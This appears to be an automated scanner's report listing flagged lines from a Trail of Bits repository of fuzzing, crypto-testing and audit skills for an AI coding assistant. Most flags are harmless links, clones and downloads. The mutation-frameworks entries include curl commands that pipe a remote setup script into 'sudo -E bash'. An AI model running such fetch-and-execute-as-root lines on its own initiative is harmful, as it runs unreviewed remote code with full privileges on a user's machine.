mkdir corpus/ curl -o corpus/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png - Network accessline 638
curl -o corpus/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png - Network accessline 639
curl -O https://raw.githubusercontent.com/glennrp/libpng/2fff013a6935967960a5ae626fc21432807933dd/contrib/oss-fuzz/png.dict - Network accessline 708
See [structure-aware fuzzing documentation](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md) for details. - Network accessline 780
- [LLVM libFuzzer Documentation](https://llvm.org/docs/LibFuzzer.html) - Official reference - Network accessline 781
- [libFuzzer Tutorial by Google](https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md) - Step-by-step guide - Network accessline 782
- [SanitizerCoverage](https://clang.llvm.org/docs/SanitizerCoverage.html) - Coverage instrumentation details - Network accessline 786
- [Structure-Aware Fuzzing with libprotobuf-mutator](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md) - Network accessline 787
- [Split Inputs in libFuzzer](https://github.com/google/fuzzing/blob/master/docs/split-inputs.md) - Network accessline 788
- [FuzzedDataProvider Header](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h) - Network accessline 792
- [OSS-Fuzz](https://github.com/google/oss-fuzz) - Continuous fuzzing for open-source projects (many libFuzzer examples) - Network accessline 793
- [AFL++ Dictionary Collection](https://github.com/AFLplusplus/AFLplusplus/tree/stable/dictionaries) - Reusable dictionaries
plugins/testing-handbook-skills/skills/libfuzzer/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/ossfuzz/SKILL.md
- Network accessline 9
[OSS-Fuzz](https://google.github.io/oss-fuzz/) is an open-source project developed by Google that provides free distributed infrastructure for continuous fuzz testing. It streamlines the fuzzing process and facilitates simpler modifications - Network accessline 43
| Task | Command | |------|---------| | Clone OSS-Fuzz | `git clone https://github.com/google/oss-fuzz` | - Network accessline 44
|------|---------| | Clone OSS-Fuzz | `git clone https://github.com/google/oss-fuzz` | | Build project image | `uv run --no-project python infra/helper.py build_image --pull <project>` | - Network accessline 45
| Clone OSS-Fuzz | `git clone https://github.com/google/oss-fuzz` | - Network accessline 58
The [bug tracker](https://issues.oss-fuzz.com/issues?q=status:open) allows you to: - Network accessline 59
- Check bugs from specific projects (initially visible only to maintainers, later [made public](https://google.github.io/oss-fuzz/getting-started/bug-disclosure-guidelines/)) - Network accessline 65
The [build status system](https://oss-fuzz-build-logs.storage.googleapis.com/index.html) helps track: - Network accessline 72
[Fuzz Introspector](https://oss-fuzz-introspector.storage.googleapis.com/index.html) displays: - Network accessline 77
Read [this case study](https://github.com/ossf/fuzz-introspector/blob/main/doc/CaseStudies.md) for examples and explanations. - Network accessline 86
git clone https://github.com/google/oss-fuzz - Network accessline 105
**Sanitizer options:** - `--sanitizer=address` for [AddressSanitizer](https://appsec.guide/docs/fuzzing/techniques/asan/) with [LeakSanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizer) - Network accessline 106
- `--sanitizer=address` for [AddressSanitizer](https://appsec.guide/docs/fuzzing/techniques/asan/) with [LeakSanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizer) - Network accessline 121
First, [install gsutil](https://cloud.google.com/storage/docs/gsutil_install) (skip gcloud initialization). - Network accessline 130
See [official OSS-Fuzz documentation](https://google.github.io/oss-fuzz/advanced-topics/code-coverage/) for details. - Network accessline 139
# Clone and navigate to OSS-Fuzz git clone https://github.com/google/oss-fuzz - Network accessline 140
git clone https://github.com/google/oss-fuzz - Network accessline 172
homepage: "https://github.com/yourorg/yourproject" - Network accessline 173
language: c++ primary_contact: "your-email@example.com" main_repo: "https://github.com/yourorg/yourproject" - Network accessline 174
primary_contact: "your-email@example.com" main_repo: "https://github.com/yourorg/yourproject" fuzzing_engines: - Network accessline 175
main_repo: "https://github.com/yourorg/yourproject" - Network accessline 189
libtool \ pkg-config RUN git clone --depth 1 https://github.com/yourorg/yourproject - Network accessline 190
pkg-config RUN git clone --depth 1 https://github.com/yourorg/yourproject WORKDIR yourproject - Network accessline 191
RUN git clone --depth 1 https://github.com/yourorg/yourproject - Network accessline 221
1. **[base_image](https://github.com/google/oss-fuzz/blob/master/infra/base-images/base-image/Dockerfile)** - Specific Ubuntu version - Network accessline 222
2. **[base_clang](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-clang)** - Clang compiler; based on `base_image` - Network accessline 223
3. **[base_builder](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-builder)** - Build dependencies; based on `base_clang` - Network accessline 224
- Language-specific variants: [`base_builder_go`](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-builder-go), etc. - Network accessline 225
- See [/oss-fuzz/infra/base-images/](https://github.com/google/oss-fuzz/tree/master/infra/base-images) for full list - Network accessline 230
- **[base_runner](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-runner)** - Executes harnesses; based on `base_clang` - Network accessline 231
- **[base_runner_debug](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-runner-debug)** - With debug tools; based on `base_runner` - Network accessline 238
|-----|--------------| | **Don't manually copy source code** | Project Dockerfile likely already pulls latest version | | **Check existing projects** | Browse [oss-fuzz/projects](https://github.com/google/oss-fuzz/tree/master/projects) for - Network accessline 239
| **Don't manually copy source code** | Project Dockerfile likely already pulls latest version | | **Check existing projects** | Browse [oss-fuzz/projects](https://github.com/google/oss-fuzz/tree/master/projects) for examples | | **Keep har - Network accessline 240
| **Check existing projects** | Browse [oss-fuzz/projects](https://github.com/google/oss-fuzz/tree/master/projects) for examples | | **Keep harnesses in separate repo** | Like [curl-fuzzer](https://github.com/curl/curl-fuzzer) - cleaner org - Network accessline 241
| **Keep harnesses in separate repo** | Like [curl-fuzzer](https://github.com/curl/curl-fuzzer) - cleaner organization | - Network accessline 247
OSS-Fuzz uses a [criticality score](https://github.com/ossf/criticality_score) to evaluate project acceptance. See [this example](https://github.com/google/oss-fuzz/pull/11444#issuecomment-1875907472) for how scoring works. - Network accessline 314
**Example from [cbor2 integration](https://github.com/google/oss-fuzz/pull/11444):** - Network accessline 347
**Integration tips:** - Use `compile_python_fuzzer` helper provided by OSS-Fuzz - See [Continuously Fuzzing Python C Extensions](https://blog.trailofbits.com/2024/02/23/continuously-fuzzing-python-c-extensions/) blog post - Network accessline 349
- See [Continuously Fuzzing Python C Extensions](https://blog.trailofbits.com/2024/02/23/continuously-fuzzing-python-c-extensions/) blog post - Network accessline 368
**Integration tips:** - [Rust supports only AddressSanitizer with libfuzzer](https://google.github.io/oss-fuzz/getting-started/new-project-guide/rust-lang/#projectyaml) - Network accessline 369
- [Rust supports only AddressSanitizer with libfuzzer](https://google.github.io/oss-fuzz/getting-started/new-project-guide/rust-lang/#projectyaml) - Network accessline 408
**[OSS-Fuzz Official Documentation](https://google.github.io/oss-fuzz/)** - Network accessline 411
**[Getting Started Guide](https://google.github.io/oss-fuzz/getting-started/accepting-new-projects/)** - Network accessline 414
**[cbor2 OSS-Fuzz Integration PR](https://github.com/google/oss-fuzz/pull/11444)** - Network accessline 420
**[Fuzz Introspector Case Studies](https://github.com/ossf/fuzz-introspector/blob/main/doc/CaseStudies.md)**
plugins/testing-handbook-skills/skills/ossfuzz/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/ruzzy/SKILL.md
- Network accessline 40
Ruzzy supports Linux x86-64 and AArch64/ARM64. For macOS or Windows, use the [Dockerfile](https://github.com/trailofbits/ruzzy/blob/main/Dockerfile) or [development environment](https://github.com/trailofbits/ruzzy#developing). - Network accessline 240
See [libFuzzer options](https://llvm.org/docs/LibFuzzer.html#options) for full reference. - Network accessline 428
**[Introducing Ruzzy, a coverage-guided Ruby fuzzer](https://blog.trailofbits.com/2024/03/29/introducing-ruzzy-a-coverage-guided-ruby-fuzzer/)** - Network accessline 431
**[Ruzzy GitHub Repository](https://github.com/trailofbits/ruzzy)** - Network accessline 434
**[libFuzzer Documentation](https://llvm.org/docs/LibFuzzer.html)** - Network accessline 437
**[Fuzzing Ruby C extensions](https://github.com/trailofbits/ruzzy#fuzzing-ruby-c-extensions)** - Network accessline 440
**[Fuzzing pure Ruby code](https://github.com/trailofbits/ruzzy#fuzzing-pure-ruby-code)**
plugins/testing-handbook-skills/skills/ruzzy/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/testing-handbook-generator/SKILL.md
- Network accessline 27
**Repository:** `https://github.com/trailofbits/testing-handbook`
plugins/testing-handbook-skills/skills/testing-handbook-generator/agent-prompt.md
- Network accessline 111
| `{{< expand "title" >}}X{{< /expand >}}` | `<details><summary>title</summary>X</details>` | | `{{< figure src="..." >}}` | `(See handbook image: filename)` | | `{{< youtube ID >}}` | `[Video: Title](https://youtube.com/watch?v=ID)` (title - Network accessline 112
| `{{< figure src="..." >}}` | `(See handbook image: filename)` | | `{{< youtube ID >}}` | `[Video: Title](https://youtube.com/watch?v=ID)` (title only) | | `{{< vimeo ID >}}` | `[Video: Title](https://vimeo.com/ID)` (title only) | - Network accessline 113
| `{{< youtube ID >}}` | `[Video: Title](https://youtube.com/watch?v=ID)` (title only) | - Network accessline 114
| `{{< vimeo ID >}}` | `[Video: Title](https://vimeo.com/ID)` (title only) |
plugins/testing-handbook-skills/skills/testing-handbook-generator/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/testing-handbook-skills/skills/testing-handbook-generator/discovery.md
- Network accessline 52
git clone --depth=1 https://github.com/trailofbits/testing-handbook.git - Network accessline 325
- [Introduction to Semgrep](https://www.youtube.com/watch?v=...) - Trail of Bits Webinar - Network accessline 326
- [Semgrep Documentation](https://semgrep.dev/docs/) - Official docs - Network accessline 327
- [Custom Rules Guide](https://semgrep.dev/docs/writing-rules/) - Rule authoring
plugins/testing-handbook-skills/skills/testing-handbook-generator/templates/domain-skill.md
plugins/testing-handbook-skills/skills/wycheproof/SKILL.md
- Network accessline 163
git submodule add https://github.com/C2SP/wycheproof.git - Network accessline 173
TMP_WYCHEPROOF_FOLDER=".wycheproof/" TEST_VECTORS=('aes_gcm_test.json' 'aes_eax_test.json') BASE_URL="https://raw.githubusercontent.com/C2SP/wycheproof/master/testvectors_v1/" - Network accessline 175
BASE_URL="https://raw.githubusercontent.com/C2SP/wycheproof/master/testvectors_v1/" - Network accessline 181
for i in "${TEST_VECTORS[@]}"; do if [ ! -f "${TMP_WYCHEPROOF_FOLDER}${i}" ]; then curl -o "${TMP_WYCHEPROOF_FOLDER}${i}" "${BASE_URL}${i}" - Network accessline 182
if [ ! -f "${TMP_WYCHEPROOF_FOLDER}${i}" ]; then curl -o "${TMP_WYCHEPROOF_FOLDER}${i}" "${BASE_URL}${i}" if [ $? -ne 0 ]; then - Network accessline 183
curl -o "${TMP_WYCHEPROOF_FOLDER}${i}" "${BASE_URL}${i}" - Network accessline 383
The [elliptic](https://www.npmjs.com/package/elliptic) library is an elliptic-curve cryptography library written in JavaScript, supporting ECDH, ECDSA, and EdDSA. Using Wycheproof test vectors on version 6.5.6 revealed multiple vulnerabilit - Network accessline 502
**[Wycheproof GitHub Repository](https://github.com/C2SP/wycheproof)** - Network accessline 512
**[pycryptodome](https://pypi.org/project/pycryptodome/)** - Network accessline 518
- [C2SP Community](https://c2sp.org/) - Cryptographic specifications and standards community maintaining Wycheproof
plugins/testing-handbook-skills/skills/wycheproof/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/.claude-plugin/plugin.json
plugins/trailmark/skills/audit-augmentation/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/audit-augmentation/references/formats.md
- Dangerous shell operationline 41
"message": {"text": "Detected use of exec()"},
plugins/trailmark/skills/crypto-protocol-diagram/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/crypto-protocol-diagram/examples/simple-handshake/protocol.py
- Executable scriptline 1
Executable file - Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted]
plugins/trailmark/skills/crypto-protocol-diagram/references/mermaid-sequence-syntax.md
- Access to secretsline 156
[Credential-related source omitted]
plugins/trailmark/skills/crypto-protocol-diagram/references/protocol-patterns.md
plugins/trailmark/skills/diagramming-code/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/diagramming-code/scripts/diagram.py
- Executable scriptline 1
Executable file
plugins/trailmark/skills/diagramming-code/scripts/test_skill_commands.py
- Executable scriptline 1
Executable file
plugins/trailmark/skills/genotoxic/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/genotoxic/references/mutation-frameworks.md
- Dangerous shell operationline 308
`sudo apt-get install clang-<version>`. - Network accessline 312
Go to the [Mull releases page](https://github.com/mull-project/mull/releases/latest) and download the asset matching your LLVM version, platform, and - Dangerous shell operationline 345
sudo mkdir -p /usr/local/bin /usr/local/lib - Dangerous shell operationline 346
sudo cp usr/local/bin/mull-runner-* /usr/local/bin/ - Dangerous shell operationline 347
sudo cp usr/local/bin/mull-reporter-* /usr/local/bin/ - Dangerous shell operationline 348
sudo cp usr/local/lib/mull-ir-frontend-* /usr/local/lib/ - Network accessline 366
# Option A: Cloudsmith APT repository curl -1sLf \ - Dangerous shell operationline 367
curl -1sLf 'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh' | sudo -E bash - Network accessline 367
curl -1sLf \ - Network accessline 368
'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh' \ - Dangerous shell operationline 369
| sudo -E bash - Dangerous shell operationline 370
sudo apt-get update - Dangerous shell operationline 371
sudo apt-get install mull-19 # match your LLVM version - Dangerous shell operationline 376
sudo dpkg -i Mull-19-*.deb - Network accessline 382
# Option A: Cloudsmith RPM repository curl -1sLf \ - Dangerous shell operationline 383
curl -1sLf 'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh' | sudo -E bash - Network accessline 383
curl -1sLf \ - Network accessline 384
'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh' \ - Dangerous shell operationline 385
| sudo -E bash - Dangerous shell operationline 386
sudo dnf install mull-20 # match your LLVM version - Dangerous shell operationline 391
sudo rpm -i Mull-20-*.rpm - Network accessline 614
# Clone and install from source git clone https://github.com/trailofbits/circomvent - Network accessline 615
git clone https://github.com/trailofbits/circomvent - Network accessline 644
# Clone and install from source git clone https://github.com/trailofbits/cairo-mutants - Network accessline 645
git clone https://github.com/trailofbits/cairo-mutants - Network accessline 723
contracts. It applies 15 Solidity-aware mutation operators to production code, runs the project's test suite against each mutant, and saves survived mutants as diffs. Based on [arxiv.org/abs/2006.11597](https://arxiv.org/abs/2006.11597). - Network accessline 725
as diffs. Based on [arxiv.org/abs/2006.11597](https://arxiv.org/abs/2006.11597).
plugins/trailmark/skills/graph-evolution/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/graph-evolution/scripts/graph_diff.py
- Executable scriptline 1
Executable file
plugins/trailmark/skills/mermaid-to-proverif/SKILL.md
plugins/trailmark/skills/mermaid-to-proverif/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/mermaid-to-proverif/examples/simple-handshake/sample-output.pv
plugins/trailmark/skills/mermaid-to-proverif/references/crypto-to-proverif-mapping.md
plugins/trailmark/skills/mermaid-to-proverif/references/proverif-syntax.md
plugins/trailmark/skills/mermaid-to-proverif/tests/test_guidance.py
- Executable scriptline 1
Executable file
plugins/trailmark/skills/slicing-code-context/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/slicing-code-context/scripts/build_slice_packet.py
- Executable scriptline 1
Executable file
plugins/trailmark/skills/slicing-code-context/scripts/test_build_slice_packet.py
- Executable scriptline 1
Executable file
plugins/trailmark/skills/slicing-code-context/scripts/uv.lock
- Network accessline 6
name = "colorama" version = "0.4.6" source = { registry = "https://pypi.org/simple" } - Network accessline 7
version = "0.4.6" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb - Network accessline 8
source = { registry = "https://pypi.org/simple" } - Network accessline 9
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 276 - Network accessline 10
wheels = [ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57a - Network accessline 11
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size - Network accessline 15
name = "iniconfig" version = "2.3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 16
version = "2.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c7 - Network accessline 17
source = { registry = "https://pypi.org/simple" } - Network accessline 18
sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20 - Network accessline 19
wheels = [ { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53 - Network accessline 20
{ url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = - Network accessline 24
name = "numpy" version = "2.5.4" source = { registry = "https://pypi.org/simple" } - Network accessline 25
version = "2.5.4" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/95/b0/c7453d0b6e2073c3264468b106ee1563750cecc910965e67357e3698c83e/numpy-2.5.4.tar.gz", hash = "sha256:9a94cf751c9a - Network accessline 26
source = { registry = "https://pypi.org/simple" } - Network accessline 27
sdist = { url = "https://files.pythonhosted.org/packages/95/b0/c7453d0b6e2073c3264468b106ee1563750cecc910965e67357e3698c83e/numpy-2.5.4.tar.gz", hash = "sha256:9a94cf751c9ad8ebaa835bcd3d40dacf8534ad086b88c38029b65123c7999d2a", size = 208663 - Network accessline 28
wheels = [ { url = "https://files.pythonhosted.org/packages/d0/97/ba2074e92b7befea137e77ea8471e768bbd87c339b7e8c9f5a931949f977/numpy-2.5.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c6342f54c67093cae5c0227eb0eb772fdb79f2a2c37a - Network accessline 29
{ url = "https://files.pythonhosted.org/packages/d0/97/ba2074e92b7befea137e77ea8471e768bbd87c339b7e8c9f5a931949f977/numpy-2.5.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c6342f54c67093cae5c0227eb0eb772fdb79f2a2c37a6eb278b9909ee06 - Network accessline 30
{ url = "https://files.pythonhosted.org/packages/ff/a9/bac826765e971d8e16e2064e9ac7525fd69b40ac17c905033a7f5442023f/numpy-2.5.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b11e8fda06a7d69f15ebf542660b74466c2e51094800c1fb794f47ad4faee - Network accessline 31
{ url = "https://files.pythonhosted.org/packages/31/2f/5ea3570fcb8ccd0882bea99436a513b2c85dad8f774a2057849130a8fb99/numpy-2.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:9cb18a327b49c5c337f972b03682f6a49855525faaf3c0d3e9c96cd0fd888 - Network accessline 32
{ url = "https://files.pythonhosted.org/packages/34/f2/b4fc1bafca03868220b5eaf729d2f21ebd7d7b151c0f9e144fe212bbca35/numpy-2.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:aec3fc4b32ff82421274f5d205c559c51c840c8df66a78efd7f3612dd005 - Network accessline 33
{ url = "https://files.pythonhosted.org/packages/dc/96/8319e2457ae4333c62c815c7006b869a4f60985c1e01024c2f8c6c040fe5/numpy-2.5.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fe4d21ab149f15e4e6043dfb0de87e6e5 - Network accessline 34
{ url = "https://files.pythonhosted.org/packages/43/a3/c799c62e19c337e6d3770b08e475887fb30ce8477d3c09efca6b2f0228a6/numpy-2.5.4-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fbde6962867ee75b48b0ee29b2b9372ec5d - Network accessline 35
{ url = "https://files.pythonhosted.org/packages/39/6b/3604e53fb00314d0dc1b94ec9125a1484f649c0a17480b1f0f0c7a9d6250/numpy-2.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:381a7a3d2e65e64c0ec302795ab9dc12bb1e73f150904699c15371617 - Network accessline 36
{ url = "https://files.pythonhosted.org/packages/4a/7a/e8b58a5289a0d464c52885de47c35a935cdd70c03a4c3ab94a5126416dd0/numpy-2.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b89d0aaae2fe498c648f4c4795c084db535af5bd98ef942b2a3681fb74 - Network accessline 37
{ url = "https://files.pythonhosted.org/packages/6f/c9/47094f597015009f310b8c900def59065ef1ff5a6fe7b51fc65ec58ec2c6/numpy-2.5.4-cp312-cp312-win32.whl", hash = "sha256:9968ab7e49b93ac6e1c3b2239732183152c9150f16308d30b66a372cffe3483c", size = - Network accessline 38
{ url = "https://files.pythonhosted.org/packages/12/33/fefe62073dc8acfd0f2b9ed7c003af2f50aa61555e113e6db02b8f79f145/numpy-2.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:a7b1b6353e36a7e50de2973a38d705c88ee93adcf120673cee7f45a4a3fa223a", si - Network accessline 39
{ url = "https://files.pythonhosted.org/packages/1a/07/161270b0c2eec56e4c905f6d6d22e1b836887b2cb189d3f5820aa588e9dd/numpy-2.5.4-cp312-cp312-win_arm64.whl", hash = "sha256:aa1cce2ff3f8d953de38b76bf44602caeb69f101430208f64a10067f7cb4b1d3", si - Network accessline 40
{ url = "https://files.pythonhosted.org/packages/67/14/1c3ee0118a8fce08565a5d8482631608426a33af10a01077fada5dc7c119/numpy-2.5.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2377da2dd3ba2c1200956acbab2a358c83b8e1f8531191672d1cd6ad832 - Network accessline 41
{ url = "https://files.pythonhosted.org/packages/83/8c/b0ea9477fb1f0d4484bbc5cba21678cc9969704d8d7f3f158d1db35f8e14/numpy-2.5.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7415db95818b39ec475a5eea54d9e3b6bc83e3912158e46da3438cdce3998 - Network accessline 42
{ url = "https://files.pythonhosted.org/packages/e2/84/6a3d75b3ba3dfe84ac0053450753d1e6d250a8bf80f66474cc46d1fb643f/numpy-2.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:6d6a71b9d9a97c03633aa12565ef2825ffa036cc1d99cfd50dacf0f128af4 - Network accessline 43
{ url = "https://files.pythonhosted.org/packages/61/18/bb993f267ca20b376e07092a16793a5b31ed3138751e9ba480011a14d742/numpy-2.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:d8200f16437b289a5bb927c6e184eccc3e8389bc0070fea4cd5b9e13c175 - Network accessline 44
{ url = "https://files.pythonhosted.org/packages/db/b6/135bb0953b61dc21c6cafa14b424ae666944e4899cf140e00c2b322a1a45/numpy-2.5.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2e71b04c6cad90026e544501bbe0ab9 - Network accessline 45
{ url = "https://files.pythonhosted.org/packages/da/24/3bd070f3269dc609d8f26b2643f62ef91bb415841c0b294805aaf7fe06da/numpy-2.5.4-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6ffa07666f8da0eef81d149934a626d0d95 - Network accessline 46
{ url = "https://files.pythonhosted.org/packages/c7/8e/9d15bd356b0a019c965312b1a3c6a727cac4cae5bc40045fbc12ce4cff9c/numpy-2.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:2fa3328f784fc8277fc48026f6cad516f5c561c5d8e2e39b3c9e0c8f2 - Network accessline 47
{ url = "https://files.pythonhosted.org/packages/dc/fe/9d5b560db964f15871885f2250795d15945f8699e17ef90c0c2ff4c875b2/numpy-2.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b86966fbe4ad7de710422175572bcdc75fdedadfb54bc6fab7deabccdd - Network accessline 48
{ url = "https://files.pythonhosted.org/packages/e9/98/d27552990f1bd611ef3e7466adadc78312ea2df63b83aad47fdc3d3ca8df/numpy-2.5.4-cp313-cp313-win32.whl", hash = "sha256:5258bc06526964be5face2fc6f756857a3f24f21ec3e72ca131337a75b165d6c", size = - Network accessline 49
